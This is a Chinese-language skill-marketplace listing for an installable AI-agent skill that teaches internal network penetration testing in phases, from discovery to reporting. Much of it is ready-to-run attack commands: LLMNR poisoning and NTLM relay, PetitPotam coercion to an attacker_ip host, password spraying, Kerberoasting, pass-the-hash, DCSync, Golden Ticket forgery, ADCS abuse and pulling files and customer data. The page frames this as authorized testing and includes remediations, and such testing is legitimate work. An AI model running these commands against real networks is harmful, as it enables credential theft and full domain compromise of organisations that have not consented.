mcpField
C
conducting-internal-network-penetration-test

conducting-internal-network-penetration-test

github.com/mukul975安全35.2k213 次安装8 周前更新
代码仓库

关于 conducting-internal-network-penetration-test

面向获授权安全评估人员的内网渗透测试方法技能，以假定已失陷的网络位置为起点。内容按发现、凭据测试、横向移动、影响验证和报告组织。

主要功能

  1. 01网络与服务枚举
  2. 02Active Directory 信息收集
  3. 03凭据攻击测试
  4. 04横向移动与权限提升
  5. 05攻击路径与风险报告

适用场景

  1. 01评估内网失陷后的影响范围
  2. 02验证 Active Directory 防护措施
  3. 03记录横向移动攻击路径

安装

复制下面的命令，在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill conducting-internal-network-penetration-test

安装后在 Claude Code 中输入/conducting-internal-network-penetration-test确认已加载。

包含的文件

除 SKILL.md 外，安装时一起下载的参考资料和脚本。

LICENSE
assets/
template.md
references/
api-reference.md
standards.md
workflows.md
scripts/
agent.py
process.py

详细介绍

开展内网渗透测试

概述

内网渗透测试模拟的是已经获取内网访问权限的攻击者或恶意内部人员。测试人员从“假定失陷”的位置开展操作——通常是标准域工作站或网络接口——并尝试横向移动、权限提升、凭据收集和数据外泄，以确定端点失陷后的影响范围。

何时使用

  • 当开展涉及内网渗透测试的安全评估时
  • 当针对相关安全事件遵循事件响应流程时
  • 当执行计划内的安全测试或审计活动时
  • 当通过实操测试验证安全控制措施时

前提条件

  • 已签署涵盖内网范围的《测试授权协议》
  • 网络访问：物理以太网接口或连接到内部 VLAN 的 VPN 连接
  • 标准域用户凭据（假定失陷模型）或未认证访问
  • 装有 Kali Linux、Impacket、Responder、BloodHound 的测试笔记本电脑
  • 与 IT/SOC 协调监控和紧急联系人

法律声明： 本技能仅用于经授权的安全测试和教育目的。未经授权对您不拥有或未获得书面许可测试的系统使用本技能属于违法行为，并可能违反计算机欺诈相关法律。

阶段 1 — 网络发现与枚举

初始网络侦察
# Identify your own network position
ip addr show
ip route show
cat /etc/resolv.conf

# ARP scan for live hosts on local subnet
arp-scan --localnet --interface eth0

# Nmap host discovery across internal ranges
nmap -sn 10.0.0.0/8 --exclude 10.0.0.1 -oG internal_hosts.gnmap
nmap -sn 172.16.0.0/12 -oG internal_hosts_172.gnmap
nmap -sn 192.168.0.0/16 -oG internal_hosts_192.gnmap

# Extract live hosts
grep "Status: Up" internal_hosts.gnmap | awk '{print $2}' > live_hosts.txt

# Port scan live hosts — top 1000 ports
nmap -sS -sV -T4 -iL live_hosts.txt -oA internal_tcp_scan

# Service-specific scans
nmap -p 445 --open -iL live_hosts.txt -oG smb_hosts.gnmap
nmap -p 3389 --open -iL live_hosts.txt -oG rdp_hosts.gnmap
nmap -p 22 --open -iL live_hosts.txt -oG ssh_hosts.gnmap
nmap -p 1433,3306,5432,1521,27017 --open -iL live_hosts.txt -oG db_hosts.gnmap
Active Directory 枚举
# Enumerate domain information with domain credentials
# Using CrackMapExec / NetExec
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --shares
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --users
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --groups

# LDAP enumeration
ldapsearch -x -H ldap://10.0.0.5 -D "[email protected]" -w "Password123" \
  -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName memberOf

# Enumerate Group Policy Objects
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --lsa

# BloodHound data collection
bloodhound-python -u 'testuser' -p 'Password123' -d corp.local -ns 10.0.0.5 -c all
# Import JSON files into BloodHound GUI for attack path analysis

# Enum4linux-ng for legacy enumeration
enum4linux-ng -A 10.0.0.5 -u 'testuser' -p 'Password123'
网络服务枚举
# SMB share enumeration
smbclient -L //10.0.0.10 -U 'testuser%Password123'
smbmap -H 10.0.0.10 -u 'testuser' -p 'Password123' -R

# SNMP enumeration
snmpwalk -v2c -c public 10.0.0.1

# DNS zone transfer attempt
dig axfr corp.local @10.0.0.5

# NFS enumeration
showmount -e 10.0.0.15

# MSSQL enumeration
impacket-mssqlclient 'corp.local/testuser:[email protected]' -windows-auth

阶段 2 — 凭据

网络凭据捕获
# Responder — LLMNR/NBT-NS/mDNS poisoning
sudo responder -I eth0 -dwPv

# Capture NTLMv2 hashes from Responder logs
cat /usr/share/responder/logs/NTLMv2-*.txt

# mitm6 — IPv6 DNS takeover
sudo mitm6 -d corp.local

# ntlmrelayx — relay captured credentials
impacket-ntlmrelayx -tf smb_targets.txt -smb2support -socks

# PetitPotam — coerce NTLM authentication
python3 PetitPotam.py -u 'testuser' -p 'Password123' -d corp.local \
  attacker_ip 10.0.0.5
密码攻击
# Crack captured NTLMv2 hashes
hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# Password spraying (careful with lockout policies)
netexec smb 10.0.0.5 -u users.txt -p 'Spring2025!' --no-bruteforce
netexec smb 10.0.0.5 -u users.txt -p 'Company2025!' --no-bruteforce

# Kerberoasting — target service accounts
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5 \
  -outputfile kerberoast_hashes.txt
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

# AS-REP Roasting — target accounts without pre-auth
impacket-GetNPUsers 'corp.local/' -usersfile users.txt -dc-ip 10.0.0.5 \
  -outputfile asrep_hashes.txt
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

阶段 3 — 利用与横向移动

横向移动技术
# Pass-the-Hash with Impacket
impacket-psexec 'corp.local/[email protected]' -hashes :aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b

# WMI execution
impacket-wmiexec 'corp.local/admin:[email protected]'

# Evil-WinRM for PowerShell remoting
evil-winrm -i 10.0.0.30 -u admin -p 'AdminPass123'

# SMBExec
impacket-smbexec 'corp.local/admin:[email protected]'

# RDP access
xfreerdp /v:10.0.0.30 /u:admin /p:'AdminPass123' /cert-ignore /dynamic-resolution

# SSH pivoting
ssh -D 9050 [email protected]
proxychains nmap -sT -p 80,443,445,3389 10.10.0.0/24
权限提升
# Windows privilege escalation
# Check for local admin via token impersonation
meterpreter> getsystem
meterpreter> run post/multi/recon/local_exploit_suggester

# PowerShell-based privesc checks
# Run PowerUp
powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Invoke-AllChecks"

# Check for unquoted service paths
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows" | findstr /i /v """

# Linux privilege escalation
./linpeas.sh
sudo -l
find / -perm -4000 -type f 2>/dev/null
cat /etc/crontab
域提升
# DCSync attack (requires replication rights)
impacket-secretsdump 'corp.local/domainadmin:[email protected]' -just-dc

# Golden Ticket attack
impacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain corp.local administrator

# Silver Ticket attack
impacket-ticketer -nthash <service_hash> -domain-sid S-1-5-21-... \
  -domain corp.local -spn MSSQL/db01.corp.local administrator

# ADCS exploitation (Certifried, ESC1-ESC8)
certipy find -u '[email protected]' -p 'Password123' -dc-ip 10.0.0.5
certipy req -u '[email protected]' -p 'Password123' -target ca01.corp.local \
  -template VulnerableTemplate -ca CORP-CA -upn [email protected]

阶段 4 — 数据访问与影响演示

# Access sensitive file shares
smbclient //10.0.0.10/Finance -U 'domainadmin%DaPass123'
> dir
> get Q4_Financial_Report.xlsx

# Database access
impacket-mssqlclient 'sa:[email protected]'
SQL> SELECT name FROM sys.databases;
SQL> SELECT TOP 10 * FROM customers;

# Extract proof of access (DO NOT exfiltrate real data)
echo "PENTEST-PROOF-INTERNAL-$(date +%Y%m%d)" > /tmp/proof.txt

# Document access chain
# Initial Access -> Responder -> NTLMv2 crack -> Lateral to WS01
# -> Local admin -> Mimikatz -> DA creds -> DCSync -> Full domain compromise

阶段 5 — 报告

攻击路径文档
Attack Path 1: Domain Compromise via LLMNR Poisoning
  Step 1: LLMNR/NBT-NS poisoning captured NTLMv2 hash (T1557.001)
  Step 2: Hash cracked offline — user: jsmith, password: Welcome2025!
  Step 3: jsmith had local admin on WS042 — lateral movement via PsExec (T1021.002)
  Step 4: Mimikatz extracted DA credentials from WS042 memory (T1003.001)
  Step 5: DCSync with DA credentials — all domain hashes extracted (T1003.006)
  Impact: Complete domain compromise from unauthenticated network position
发现项严重性矩阵
发现项CVSSMITRE ATT&CK修复措施
LLMNR/NBT-NS 投毒8.1T1557.001通过 GPO 禁用 LLMNR/NBT-NS
可 Kerberoast 的服务账户7.5T1558.003使用 gMSA、25+ 字符密码
本地管理员密码复用8.4T1078部署 LAPS、唯一本地管理员密码
弱域密码7.2T1110强制至少 14 个字符、将常见密码加入黑名单
不受限制的 DCSync9.8T1003.006审计复制权限、实施分层管理员模型

工具参考

工具用途
ResponderLLMNR/NBT-NS/mDNS 投毒
ImpacketAD 攻击套件（secretsdump、psexec、wmiexec 等）
BloodHoundAD 攻击路径可视化
NetExec (CrackMapExec)网络服务枚举与密码喷洒
Evil-WinRMPowerShell 远程管理客户端
CertipyAD 证书服务利用
MimikatzWindows 凭据提取
Hashcat密码哈希破解
Nmap网络扫描与枚举
LinPEAS/WinPEAS权限提升枚举

参考资料

评论

支持 Markdown